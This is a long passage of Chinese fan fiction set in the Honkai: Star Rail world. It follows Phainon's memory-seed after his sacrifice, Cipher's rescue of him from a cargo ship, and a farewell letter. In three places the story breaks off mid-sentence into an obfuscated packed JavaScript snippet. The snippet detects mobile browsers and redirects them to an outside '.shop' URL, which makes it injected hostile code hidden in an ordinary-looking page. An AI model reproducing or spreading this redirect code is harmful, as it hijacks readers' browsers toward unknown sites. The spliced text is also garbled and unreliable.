他知道明天的翁法罗斯应该就会成为毁灭令使白厄记忆中的一粒种子,但即使这样,他仍然不想掉以轻心——白厄的性格他们都了解,也正是因为了解,所以才要保证万无一失,那刻夏已经在前两天成功地将反自毁条件语句神不知鬼不觉地写了进去——数据体可真方便,万敌想。 “去哪啊……”白厄笑了笑,他似乎真的在认真地思考,“先看看星星吧,真实的星空,去外星过个节日?然后像搭档说的那样,在周边星系转转……” “你不会是不想回翁法罗斯了吧?”万敌敏锐地一针见血。 “怎么会呢?”白厄轻松地耸耸肩,可看着万敌望向他的、不相信的眼神,几秒之后,刻意的微笑还是消失在了他的脸上。 “我没脸回来,”他直白地说,“我犯下的那些罪行够判斩立决几千万回的。” 万敌便笑起来。 “可你也拯救了几千万次翁法罗斯,救世主,堂堂正正地抬起头来,你从未对不起翁法罗斯。” 白厄便也笑了起来。 “最近大家都来和我说这些,”他说,“难道是怕升格结束后我跑得太快抓不住我?” “哼,抓你有什么难的。”万敌冷笑一声,“别把自己看得太威风了。” 白厄又笑出了声。“现在要和我比赛跑步的可有两个人了。”他说。 “第一个是谁?”万敌好奇。 “赛飞儿前辈,”白厄说,“她说只要我能跑过她,她就原谅我——可惜我没有真实的腿,也没法离开时光归墟。” “明天就好了,”万敌便难得地、罕见地安慰道,“明天见是世界上最伟大的预言——缇里西庇俄丝老师说的。” “嗯,好,”白厄轻松地说,“再见,翁法罗斯。翁法罗斯,明天见。” 尽管他们都知道,下次再见,便是遥遥无期。 “我明明记得好像不是这个方案啊……”三月七喃喃自语。 星穹列车在星轨航图上再次见到翁法罗斯时,后者已经变成了一片火海,而那片毁灭的火光中孕育着的,是即将升格的、整个星球的生命。 “一个新生的毁灭令使践行毁灭的道路,选择自我毁灭用以毁灭翁法罗斯必然毁灭的命运——没人拦得住,这比目前任何绝灭大君都更贴近毁灭命途,而因为实在太贴近毁灭,所以这一刻他所燃烧的并不只是来自那枚金血的力量,还有他从毁灭命途中汲取到的虚数能量——后者的能量甚至比前者还大。”黑塔说,她的脸色也难得地郑重起来,“因为他是毁灭毁灭的令使,他焚烧自己的能量,于是那些毁灭的能量中蕴含的毁灭能量同样被毁灭了——但他同样会被毁灭,而没有什么能逆转这种毁灭。” “以毁灭己身的代价否定毁灭命途……的确是毁灭毁灭的令使的所行所为。” “真的没有其他办法了吗?”开拓者问道,他仍然不死心,“哪怕,哪怕留下一点……能不能找阮梅帮帮忙……” “以目前的情况看,这已经是定局。”黑塔有点不满地咕哝,“他瞒得也太紧了……他到底是怎么知道的?” “假设:也许是情感的冲动使他做出了这个决定。”一旁的螺丝咕姆说,“代码的行为总有其逻辑,但生命没有,白厄阁下之前已经跨越智识奇点,以拯救为原动力做出的自毁行为不符合逻辑,但符合情感。” “真的没有其他办法了吗?”丹恒也问道,他的面色同样沉重。 “也说不定。”黑塔想了想,还是找到了条破解之道,“德谬歌虽然带着一页永恒单飞了,可那个拥有三千万世记忆的女孩不是还在循环的某一时刻吗,记忆命途的手段还挺多样,比如说……” 麦田下,粉发的女孩在秋千上睁开了眼。 “是这样呀。”昔涟抬起了头,略微地思索了一下,很快便明白了这奇异的震动的来源。 循环的次数越多,她就会越虚弱,在此之前,她已经沉睡在这里不知几多岁月——直到升格的火光跨越整个循环将她唤醒,于是她轻声笑了起来。 “昔涟姐姐?”有看不清面目的孩子问她,“你笑什么?” “我笑,麦田里的小英雄,就算一遍一遍地被人告知不要被命运找到,可他还是会对着命运大喊,‘我在这里’呀,他就是这样的人。”昔涟说,“既然这样,我应该为英雄书写下一个配得上他的结局的故事——还好,有些条件语句限制了最后的毁灭,这样的话,似乎还能赶得上呢。” “我相信,新生的、时间开始线性流淌的翁法罗斯,一定会书写出一个不同以往的浪漫故事吧,”昔涟望向远方的天空喃喃自语,她的身边重新空无一人,远方的火焰烧灼在天际线上,仿佛黎明的朝阳升起。 “新的生命若要发芽,它的种子需是死的——既然这样,让我把他最后的记忆凝固成一颗记忆的种子,等待生根发芽吧。”她说,“翁法罗斯是一片很好的土壤,适合种子重新发芽。” “这是什么?” 一颗新生的星体上突然燃起奇异的火焰,纵然大多数人都抱着警惕之心,也总会有人按捺不住好奇心——通常风险与机遇共存,这道理谁都懂。于是有人伸手去接,接住了溅落而下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119727|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金色,他还未来得及高兴,下一刻,那些金色便在他的手心散发出炽热的温度,看上去似乎要炸裂开来。 “啊!”那人吓了一跳,但他转念一想,又从自己的包里拿出了个盒子。 “这东西这么小就能有这么大的能量,一定也是难得的奇物,”那人自言自语道,“这又是什么呢?还好今天运送的货物里有个奇物隔绝盒……我真幸运,这一定能卖个好价钱。” “这又是什么?”左顾右盼,那人仍不死心,他心说这附近这些东西,即使自己研究不出什么奥秘,拿回公司总也会有人愿意买,想到这里,他便伸出手去拿那颗奇异的、无色的种子,又很快改变了主意。 “这东西看上去似乎一点力量都没有,和刚刚的金色液体天差地别……算了,算了。” 他摇摇头,将那颗东西随手扔了出去。 “好吵。”不远处的方跃星,一群蘑菇叽叽喳喳,萨玛兰妲无精打采地打了个哈欠,又慢慢悠悠地睁开了眼睛,结果睁眼一看,吓了一跳——她那点瞌睡差点吓没了。 “到底是谁把毁灭令使的血到处乱撒!”她又惊又气,“这东西是能胡乱乱扔的吗?” “妈妈好像生气了。”一只蘑菇说。 “那要不我们开虚数清扫机把它扫出去吧。”另一只蘑菇说。 “不用,”萨玛兰妲说,她的根系缓慢地伸向数个光年外的初生的星云,精准地抓住了那些四散的、黯淡的金色血液,“我还有用——何况这东西很奇怪,像是谁的血肉……不管了,能削弱扶桑的就是好东西,互利共生,互利共生嘛。丰饶无物不养,毁灭也能养——至于毁灭?让扶桑头痛去吧。” “你先别着急炸,萨玛兰妲承诺物归原主,萨玛兰妲也知道等价交换,你帮助萨玛兰妲,萨玛兰妲也会帮助你。原主死了也没事,假以时日萨玛兰妲给你捏一个新的蘑菇壳子,保证比你原来那个好用……况且如果你不同意的话,等到这点壳子都没有了,你可就彻底消散了。”看着那团似乎想要爆开的金色,萨玛兰妲想了想,还是轻声劝导,伴随着她的劝导,那团血果然安静下来––当然,也可能是因为被浓郁的丰饶之力冲得晕头转向。 “还有,”萨玛兰妲说,安抚完这团爆裂的火光,她终于有精力去看看旁边挤在一团瑟瑟发抖的蘑菇们,“比起虚数清扫机,还是改进一下你们的小推车吧,萨玛兰妲实在不想听到投诉声了——就算被投诉的不是萨玛兰妲,天天吵吵的也很讨厌呀。” 几个蘑菇战战兢兢地点了点头,在萨玛兰妲消失后,他们凑在一起,窃窃私语。 “要改吗?” “不要,改了还怎么摸鱼。” “萨玛兰妲听得到。”萨玛兰妲突然说道,见几个摸鱼的蘑菇重新状似认真地开始摸鱼,她发愁地叹了口气。 这群小东西……不对,萨玛兰妲新捡的东西上怎么还有股记忆的味道,仔细碰碰,大部分记忆又好像被谁拿走了! 真邪门! 67. 顺着星星的方向 “你是说,昔涟通过神谕告知我们,她将救世主最后的记忆凝成等待发芽的种子,然后这种子在翁法罗斯吸收能量升格时被公司捡走了?”万敌直言不讳地哼了一声,“他们怎么不去死?” “万敌阁下,冷静些。”遐蝶温和地劝说道,“好歹等到抓到了人,让他吐露出白厄阁下的下落,再赠予他们温柔的死亡也不迟。” “行吧,”万敌想了想,也把情绪压了压,“不过据说动手的那艘货运舰里的几个人回到星际和平公司便辞了职……不过不影响什么,星海这么大,总能找得到,无论是救世主,还是他们。” “而且方跃星的那部分属于他的血似乎更多,但那名为萨玛兰妲的异星神明总是在沉睡,”万敌思考,“下次我可以再试试其他办法……但如果他的记忆已经全数被凝结为记忆的种子,那些血也不过是只有一点本能和潜意识的能量源而已……现在的重点还是要找回那颗种子。” “那刻夏老师似乎已经占星很多次了,”风堇有些沮丧地喃喃自语——和她平日里表现在病人面前的形象不大符合,她身边的小伊卡试探着碰了碰她,似乎在安慰。 “如果以那刻夏老师的占星术都找不到的话,也许那颗记忆的种子在未曾发芽前,不会在某处留下任何痕迹吧。” “和大海捞针的难度差不多呢,”缇里西庇俄丝温柔地劝说着沮丧的同伴,“可是就算是大海捞针,我们也总要把小白找回来。” “没错,”风堇重新振作起来,“就算是大海捞针,我们也要把他找回来,毕竟……” “毕竟,我们大家也在努力呀。” “不过话说回来,最近我似乎听到了一些传言……”万敌想了想,又问道。 “小敌说的是哪个?”缇里西庇俄丝问道,“是那个关于绝灭大君的传闻吗?” “缇里西庇俄丝老师如此清楚,莫非……” “没错呀,”在黄金裔同伴的面前,缇里西庇俄丝坦然地点了点头,“阿雅说,与其去寻找猎物,不如让猎物自动进入网中,我们通过一些渠道得知,那时带走小白的人职级并不高,翁法罗斯几年以来除了刚升格时稍微显示了一下力量之外,大多数时候我们都在刻意示弱,虽然可能性不太大,可说不定就会有贪心的人撞上来呢。” “说起来,赛飞儿前辈呢?”遐蝶又回头望了望,“好像很久没见过她了……” “她呀……”缇里西庇俄丝说,“她最近在星海里到处乱逛呢,似乎谁也不知道她去哪了。” 这是句实话,也是句谎话,实话在于确实是到处乱逛,也确实没人知道她在哪,谎话是她的大致方向其实被阿格莱雅确定––但她后续的行踪,连阿格莱雅也不知情。 “又什么事?裁缝女?”那天,阿格莱雅把赛飞儿见到自己身边。虽然这么叫着,但赛飞儿的眼神亮亮,兴奋的情绪简直藏也藏不住,“我提前说好,要我干活得加钱。” 阿格莱雅从身后拿出一把大剑郑重地递给了他,赛飞儿脸上轻佻的笑容猛然一收。 “这是什么意思?”她直白而严肃地问,“你们找到他了?” “还没有,但有消息。”阿格莱雅轻声说道,“叫你来就是为了这件事,你之后的一切行动,不必告知翁法罗斯,可以完全自行发挥,没有人会过问,也没有人会知道,D324号货运舰,舰长格莱,他们的文书最近收到了一张票——免费旅行一个月。” “这份幸运冲昏了这位文书的头脑,他甚至忘了请假便偷跑出去,但舰长没介意——实际上,他并不知情,货运舰上的工作时间从来都很灵活。” “这艘货运舰有什么特殊的地方?”赛飞儿问。 “它被反物质军团和虚卒追着跑。”阿格莱雅说。 赛飞儿:“……” “听上去可真倒霉。”她叹了口气。 “只是猜测,并非一定,猎物也许已经上钩,剩下的一切都在于你的行动,”阿格莱雅认真地看向赛飞儿,“可以吗?” “你都这么问了……报酬管够是吧?”赛飞儿几乎不假思索地答应,答应之后,她突然反应过来似乎可以谈谈条件。但见到阿格莱雅温和地点头,她才重新高兴起来。 “那好,裁缝女,再见!”她抓起那把大剑跑了出去,“我出去玩喽!” 可真的混进货运舰,赛飞儿才深感世道之艰难,到底是哪个*脏话定下的规则,每次货运舰遇袭都要写一份砖头一样的文书,在北宿七的那个夜晚,赛飞儿边写边骂,刻法勒在上,要是再没有救世小子的消息,她就要把货运舰里的文书扔得到处都是,给那个老好人舰长和那个清澈单纯的女大学生一点来自多洛斯的伟大侠盗的教训。 她曾在某个夜晚听到格莱与谁的谈话声,赛飞儿的耳朵动了动,听到那边传来个熟悉的名字。 绝灭大君【卡厄斯】。 好,赛飞儿漫无目的地想,阿格莱雅猜的一点不错,真不愧是阿格莱雅。这是鱼咬钩了,可鱼饵会在哪里放着?连续三天,她偷偷潜入货运舰,终于在某个角落找到了个不起眼的小盒子。而她之所以会注意到这东西,是因为盒子看似平常,其中的锁却相当复杂——太巧了,赛飞儿第一擅长辨认锁,第二擅长开锁,避过货运舰的所有摄像头对她来说并不算难,她便在某天找了个机会撬开了盒子。盒子啪嗒一声打开,她望着盒子里的东西发愣——那是一滴血,而不用说,赛飞儿也知道它的主人到底是谁。 怨愤突然涌上她的心头,她沉默地关上了那个盒子,又轻手轻脚地将之放回原位,并抹去了自己来过的一切痕迹,她想,是啊,翁法罗斯只是一堆数据,先天和这群高贵的高维生物隔着个维度,于是他们的抗争被当成戏剧,他们的血泪被当做笑话,就算他们的救世主的血,也成了他们用来算计翁法罗斯的东西,救世小子此时要是还有知觉,不知会被气成什么样子。 “带我去找他。”她小声说。 那只是一滴金血,可它竟似乎听懂了赛飞儿的话,它比出了个小小的箭头,又再次沉寂在赛飞儿的手心里。 赛飞儿蹑手蹑脚地走进了主控室,片刻后,货运舰突然抛锚在无人的星球,谢尔微的声音遥遥地传了出来。 “怎么回事?”小姑娘已经习以为常,“又碰到反物质军团了?他们怎么没完没了?” “我们燃料不够,又遇到了某种奇怪的引力,”赛飞儿说,“我下去补充一下燃料,我们就出发。” “好,”格莱说,“注意安全。” “你们别下来,”赛飞儿说,她只是想找到救世小子,可并不想害人,她望了望车厢外的反物质军团,这些家伙应该还在她的处理范围内,但此刻他们虎视眈眈不敢向前,像是畏惧着她手中的什么东西。 赛飞儿抱着那把大剑冲了出去。 那是一滴血,只是一滴血,记忆的种子并非活物,这滴血也许只够他醒来一瞬,但一瞬就够,只要抓准时机,只要让其他人相信,他还活着…… 她能做到,她从来都能做到。 无人的星球上风雪蔽目,那滴血仍然在她的手心微微发烫,似乎在指引她的方向,当那种异常的温热感停止下来的时候,赛飞儿松了口气。 “阿卡索尔?”她听到格莱隔着通讯问她,“这边的反物质军团太多,货运舰的弹药和补充弹药似乎没法形成有效火力压制,我们正在向你这边移动,补充燃料后我们马上离开……” 可此时她无暇他顾,那滴金血终于在她面前勾勒出个眉眼紧闭的白发青年。 “剑还你,不许捅我。”赛飞儿悻悻地说,但她没得到任何回应,那只是一滴血,它其中蕴含的能量也只够他苏醒一瞬——或者一瞬都不够,毕竟公司的目的,只是确认卡厄斯的存在而已,至于死活?对于公司来说,恐怕他死了最好。 “我冒了这么大风险,你可得争气点。”赛飞儿又说。 似乎听到了她的话,赛飞儿注意到地上的白厄微微动了动,似乎在说些什么,这又使她大大地振奋起来,对她来说,只要白厄能在其余两人跑到这里之前完全醒过来,她就有把握让他们相信白厄是真实活着的,可若是没有…… 那只能另做打算。 但这事她没办法,一切都只能靠白厄自己,她心急如焚又不敢表现出来,身旁的反物质军团似乎也发现了这里,迫于强大的力量,他们不敢靠前––可如果白厄没醒,他们总会凑上来,货运舰的命也是命,到那个时候,赛飞儿也只能暴露自己强行出手,而后从长计议。 “这机会千载难逢,救世小子,你可得争气点。”她又小声说。 毕竟回到翁法罗斯,她的谎言就不会如此有效,记忆的种子生根发芽要百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119728|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年千年,考虑到他曾经是个令使,这时间可能还要再延长,如果这时候他不争气抓不住这个机会,恐怕即使以黄金裔的寿命,再见也会是遥遥无期。 白厄又说了些什么,他看上去仍然浑浑噩噩,赛飞儿把耳朵凑了过去,听见他说疼。 他无意识地皱着眉头喃喃自语,他说,好疼啊。 一句话,赛飞儿的眼泪差点落下来,他清醒的时候赛飞儿从来没听他喊过一句疼,她想是啊,为什么我们都会疼呢?为什么你的疼痛又那么长久呢?凭什么啊?到底凭什么啊?难道整个翁法洛斯活着就是为了痛苦吗?我们的生命算什么,我们的抗争又算什么?翁法罗斯人难道就真的先天倒霉,不配过什么好日子?所以我们的救世主就活该被这么折磨?她又想,来到这里的为什么是我不是风堇呢?风堇总会想办法让你没那么难受,可现在没办法啦,疼也没办法啦,前辈能做的只有这些啦,你得靠自己,你得活过来。 “疼是正常的。”赛飞儿百感交集,却只能轻轻安慰。 “新生总会带来疼痛……对于我们来说,痛苦是我们真实活着的证明,就算疼,你也要醒过来,听话。” 白厄慢慢地睁开了眼睛,他摇摇晃晃地站起身,拿起了侵晨,赛飞儿下意识地一抖,又强迫自己冷静下来。好在尽管白厄还不够清醒,面前的反物质军团仍然在他下意识的动作下灰飞烟灭。 舞台已经搭好,演员开始就位,本名赛飞儿的阿卡索尔悄悄溜走去和谢尔微他们会和––不知道这两位怎么还是从货运舰上下来了,思来想去也许是因为货运舰要补充弹药––那毕竟只是货运舰而非战列舰,如果让他们发现他和白厄在一起,情况恐怕不太好解释,以救世小子的性格,听到有人喊救命他总会来的––而且这些杂兵对他的压力应该不会很大。 他仍然没有完全清醒,赛飞儿发愁地最后看了他一眼,心说你可争气点,又冒着风雪跑了回去。 反物质军团如砍瓜切菜般消散,出现在货运舰成员面前时,白厄懵懂地站在那里,他仍不知自己的来处,同样不知自己的归途。阿卡索尔便主动走了上去,拍了拍他。 尽管白厄现在的状态有些奇怪,可没人会怀疑刚刚认识的人并非活人,于是赛飞儿的谎言得以开出第一朵花,毁灭令使卡厄斯的确被唤醒了,可他没有如同公司所预想的一般于醒来后的下一瞬间再次陷入沉睡,他只是沉默地、孤零零地、摇摇晃晃地伫立在这里,伫立在一颗覆盖着积雪的小小无人星球,他的身侧是反物质军团的残骸,他的头顶是一望无际的浩瀚星空。 “我觉得咱们带他走吧。”惊魂未定的谢尔微主动说,她对上白厄略显迷茫的眼神,想了想,走上前去拍了拍这个刚刚认识的,看上去呆呆的大个子身上的雪。 “你为什么一个人在这里呀?”她轻轻地问。 “我的……我的家……”他断断续续地说。 “这里不安全。”阿卡索尔打断了她的话,“要是说话的话最好还是回舰上说,咱们要不要带他走?但不管带不带上他,我们都最好立刻回舰––燃料已经采集好了。” “还是带上他吧。”格莱说,老练又老好人的舰长一锤定音,“毕竟,某种意义上来说,他也算我们的救命恩人了。” “而且他一个人在这里孤零零的,多可怜。” “那大个子,咱们走吧,”谢尔微便自然地拉住了白厄的手,他的指尖冰凉,呼吸也微不可察,谢尔微猜想他应该在这里待了很久,被冻坏了,她再次对这个莫名出现在这里的可怜大个子充满了同情心,“我们一起走的话,你就不再是孤零零的一个人啦……你是不是找不到家了?我大学的时候学过星轨图课,星轨图课的第一课。” “顺着星星的方向,你总能找到自己的家。” 可登上货运舰后,赛飞儿又有些疑惑,一人传虚,万人传实,仅凭货运舰上两个人的相信,真的能然一个毁灭令使自如行走吗? 还是说,还有其他人,在相信这个故事呢? 故事说到这里,赛飞儿突然笑了一声。 这个故事敬献给您,亲爱的看官,不知您是否从中,得到了少许欢愉? 如果您说没有,赛飞儿同样感激。 感谢各位让翁法罗斯的救世主再度醒来,感谢大家让我们得以在真实的星空下再次相见。 68. 藏龙卧虎 伴随着阿卡索尔和谢尔微的离开,货运舰内重新变得空空荡荡,格莱安静地坐了下来,思考着自己下一步的行动。 阿卡索尔是个稳重的文书,波提欧也并非信口胡诹的人,想到明知琴神星有问题却依旧逼迫他们前往琴神星的公司上级,他思考了片刻,心中有了答案。 半个月后,货运舰停泊在翁法罗斯接驳口。 货运舰锁航程只会锁到接驳口,格莱随便找了个地方停靠,打算在货运舰里度过三天后直接离开。他给自己泡了壶茶,慢悠悠,懒洋洋,这时他听见他的通讯响了起来,他接起电话,听到临时上司冷冷的声音。 “D324号货运舰舰长,P25员工格莱,要你秘密运送至翁法罗斯的东西是否送达?” “我记得之前公司对普通货物似乎没有及时报告的规定。”格莱悠闲地说,“货运舰那么多,您难道一直在一个一个过问?好负责任的工作态度。” “注意你的言辞,P25员工格莱,我们之间相差四级职级,按道理来说,你这个级别的人,还无权与我面对面对话。” “我必须提醒您,市场开拓部伟大的P29代表,跨部门调动员工从来都是公司大忌。”格莱抿了口茶,慢悠悠地说道。 “你什么意思?”那边恼羞成怒,连声音也高了几度。 “意思就是说,您并非我的直系领导,虽然一路上听您指令,可实际上我从来不需要为您负责,亲爱的先生。”格莱彬彬有礼说。 “但你那时候明明答应……” “我是筑材物流部员工,对筑材物流部负责,同样,我有权拒绝跨部门命令——即使您的职级比我高,可只要没到P35,咱们本质上没什么区别,不是吗?毕竟咱们谁都去不了总部。” “格莱,你不知道你运送的东西到底是什么,”那人的语气缓和下来,似乎也发现将在外君命有所不受,格莱铁了心不送他好像真的没什么办法,何况这次行动他并未报备上级,倘若真想通过正规渠道威胁格莱似乎不太可能,“相信我,这是个千载难得的机会,翁法罗斯外强中干,战略投资部那帮人瞎了眼睛投资在那里,只要那东西一送到,我保证会让他们血本无归,到时候你我职级连升十级都不在话下……” “您的母星难道是匹诺康尼?”格莱认真又好奇地问道,“不然的话,您的白日梦做得未免太熟练了。” “我的母星是……不对,这是重点吗?那我问你,之前你不是一直在听令于我吗?” “我再提醒一遍,”格莱叹了口气,“我是筑材物流部员工。” 那边好一阵没说话,片刻,才有不可置信的声音响起。 “你报备了?不是说是秘密行动吗?” “……” “先生,您到底是怎么做到P29的?”格莱深吸一口气,忍了又忍,还是没忍住,笑出了声,“公司规定第三十八章第二条第四行,收到跨部门指令时,应首先向所在部门报备,得到部门主管允许后方可行动,也就是说,这一路上我之所以会一直配合您,是因为我所收到的上级指令就是这样的。” “你这样不怕打乱了公司的大计划?”那边色厉内荏,“之后我会向公司进行书面报告。” “大计划从来轮不到我执行,我只是个P25而已,市场开拓部和战略投资部的大计划和我有什么关系?”格莱一摊手,“和您也没什么关系就是了。还有书面报告的事……看在同僚之情的份上,劝您还是算了。” “有些事,不报告没人知道,报告的话,恐怕我们这个职级兜不住,虽然不知道您想做什么,但您不觉得这一路有点太顺利了吗?” “要不,您想想,是不是一直都好像有什么人在引导方向?”格莱谆谆善诱,“我们都只是一场戏剧里的演员,演好这场戏就好,现在戏幕已然接近尾声,谁也没要求我们返场……别太认真了。” “小人物也有小人物的好处,”他状似真情实感地劝说道,“戏里戏外,都不会有人关注我们……所以当个小人物其实很好,没必要一天天想着惊动公司高层。” “那我告诉你你运送的到底是什么,是……” 格莱干净利落地挂断了电话。 他才不听。 “知道的越多,死的越快,想死也别拉上我。”他笑呵呵地摇了摇头,又抿了口茶水。很少有人知道格莱喜欢看恐怖片,看得越多,他就越疑惑,为什么那些人从来不听劝,一定要将自己置于险地? 听劝,是一个人最好的美德。 无知是福,很多事情格莱都不会深入思考,比如那位被“阿卡索尔”捡回来的白发青年究竟是谁,是谁都无所谓,在他们没做出任何出格的事之前,格莱可以只把白厄当成个力量强大的可怜的口吃大学生。宇宙实在太奇怪,小人物自有小人物的智慧。 “一场残暴的欢愉,必以残暴为结局,小丑把戏不过尔尔,若能博君一笑,倒也有它的存在价值。戏剧已经终了,谨向各位致以鄙人最微不足道的问候。” “毕竟祂说,要有笑声。”他温和地看向某处,说道。 “看来你们公司的员工也并非都是蠢货,鼻子灵也算是他们的优点之一。”刻律德菈随手按灭了桌子上的监听器,漫不经心地评价道。 她此时正在下棋,对面长相温和,棋风却相当惊险,相比技术,这人反而更擅长赌博般的换子,闻言,他笑了笑,摇了摇头。 “可蠢货的含量也不少……”他说,“比如这位P29……虽然可能很快就不是了,被这样激将,估计放下电话就要去找他的分管领导哭诉了吧……这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119729|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种级别的行动不报备,哭也没用。” 他摇摇头,似乎很是遗憾。 “备用方案没有,后手也没有,当发现一切进行得过于顺利的时候,毫无警戒心,既不会去思考为什么传闻秘不作声地传得沸沸扬扬却始终没人动手,又不好奇为什么想要的东西轻而易举地来到了他的手里……只能说P29职级不亏。” “那你呢?”刻律德菈头都不抬,“P45的砂金总监?” “公司把我放在这个位置自然有公司的道理所在。”砂金微笑着说,“我一直期待与翁法罗斯方面的合作,相信我,战略投资部不会让他的盟友吃亏。” “翁法罗斯也不会,”刻律德菈说,“相信我们之后一定能在更多方面达成合作,但关于合作条款,似乎仍然有些地方有待商榷……” “不过如果你们那位烈阳爵——我姑且先用这样的称谓称呼他——真的有意入职公司的话,待遇绝对会比在货运舰上的时候有质的飞跃,职级,期权,都可以谈,一事一议,不知道……” “君主从不会随意替她的臣子做主,何况是烈阳爵。”刻律德菈重新垂眸,“将杀。” “看来这盘棋是我输了。”砂金很有风度地微笑,尽管输了,他却没什么负面情绪,一盘棋而已。他随手收起棋子,“一次的胜负说明不了什么,不过真希望那位P29不要向上汇报……”他状似真诚地摇摇头,“不然捅出大乱子的话,真不知道哪个市场开拓部的大人物会想背这个锅。” “有些事置于天秤,便很难拿下来,这就是塔兰顿的公正。”刻律德菈说,“好了,砂金总监,合作愉快。” “合作愉快。”砂金微笑点头,“期待我们的下次合作。” “对了。”砂金临走之际,刻律德菈又随意地说。 “烈阳爵想保那艘货运舰上的人,他说你如果能帮忙,他会万分感谢——有问题吗?” “没问题。”砂金相当轻松地一口答应下来,“不过是一句话的事,实在用不着烈阳爵的感激,连这次合作的添头都算不上,何况大概率不用我说什么,‘弄臣’司夸尔莱先生可是筑材物流部的得力干将。再见。” 有的部门可能会倒一场不大不小的霉,他想,但和他一个公司使节实在没什么关系——毕竟,他也只是个对此次事件一无所知的P45而已。 “一切献给琥珀王。” 他戴上了自己的礼帽,低声笑道。 时光归墟中若隐若现地弥漫着海妖的歌声,许久,那歌声才停了下来。 “似乎不会有人来了。”她自言自语。 无人回应她的声音,时光归墟已经是片郁郁葱葱的花园——只可惜这里没有海,海瑟音不喜欢。 她悄无声息地离去,片刻之后,这里再次空无一人。 69. 你我此行 亲爱的搭档,翁法罗斯的拯救者,星穹列车的开拓者,以及各位星穹列车的伙伴敬启: 我猜搭档多半要说“这里站不下这么多人”。但这不是今天的重点,随信附上天真可爱美丽动人的三月七小姐赠送给我的第一本旅行笔记,当然,是已经记满的版本。 但我写这封信,并非仅仅是为了将这本笔记交还,对于翁法罗斯来说,书信从来都是比通讯更郑重的联络方式,也正因此,我想,有些郑重的回复,也应当由我由书信传达。 但首先,我想要先讲讲我的旅程见闻,我受一位朋友的邀请前去他们的星球参加一场葬礼,在之后的某天,我会应她的要求庇护那颗星星,结果当我真正接触到他们的尖端科技时,我发现他们的部分科技比翁法罗斯还要发达。 当我参加那场属于他们的葬礼时,我发现那些葬礼上的来客并不难过,对于他们来说,生命生于大地又复归泥土,一切不过是过眼云烟,长生种与短生种都会走到生命的尽头,死亡将无比公正地对待每一个生命——当然,前提是生命曾经真实地活过。 搭档,我在思考,我也会时时刻刻自我警戒,在真实的世界里,生与死都有其重量,我应该看重生,也应该看重死,因为死深埋于生之下,而生又总会复归于死,我的性命,旁人的性命,都是应当被尊重的宝贵存在。 我不太适合在翁法罗斯久待,第一当然是因为我曾千次万次地伤害过翁法罗斯的人们––尽管也许他们中的很多人已经失去了那部分记忆,但伤害就是伤害,即使我最初是为了拯救翁法罗斯而出发,但在旅途中,我所造成的伤害同样不可弥补、不可逆转,苦难是必要的,却也不可轻飘飘地一带而过。第二,即使公司承诺暂时不会拿我的身份做文章,可一个毁灭令使长久地待在某处,总归是个隐患,不提其他未知的派系,绝灭大君、反物质军团,毁灭派系从来没什么善良的家伙,而我既然踏上毁灭毁灭的道路,自然也已经有所觉悟。也因为这一点,葬礼结束后,我便离开了翁法罗斯,在我和父母告别的时候,他们看上去有点难过,可他们还是选择尊重了我的想法,当我再次踏上旅程时,我在包里发现他们偷偷给我装的满满的蜜饼——足够我吃上好一阵子,可惜这里的邮寄点不能邮寄蜜饼,不然我一定会给大家寄一点尝尝,我妈妈做的蜜饼特别好吃,真的。 有时我仍然不知道该如何面对翁法罗斯的大家——事先说明,我有在好好吃药,也有在按期复查,可我们都知道有些东西并不会被轻易抹去,过去和记忆在我们的灵魂上刻下深不见底的刻痕,但我向他们承诺过,我会放过自己——我也一直期待和相信,相信我们的关系会在未来的某天重新变得亲密起来。阿格莱雅说疲惫的时候,可以以星际旅人的身份悄悄回到翁法罗斯,毕竟家就在这里……真好,我还有家。 破碎的镜子不会复原,被我杀死的人也永远不会再回来,罪孽就是罪孽,但我决心直面它,大家都是可靠的伙伴,唯一让我高兴的是我的棋技有所长进,上一次居然下赢了刻律德菈陛下——虽然她身边的海瑟音很快举起了棋盘,要狠狠地用棋盘砸我的头。 关于昔涟,翁法罗斯升格后,我们的时间终于开始线性流动,她说她也许会在某天突然出现在哀丽秘榭的秋千上,现在我们只能够通过神谕进行简单的对话,但有时我对她的意见也会选择性忽视——比如她告诉我要少吃蜜饼,我没听。 堂堂岁月祭司,记忆令使,居然也会管我吃蜜饼这种小事?而且我可没胖,搭档,我有在好好健身。比格椰倒是胖了三斤,可刚刚胖了三斤的它,就被万敌和赛飞儿前辈嘲笑为小猪,他只是毛长不是胖。(比格椰照片附后)而且我始终觉得,蜜果羹难道不是更像小猪? 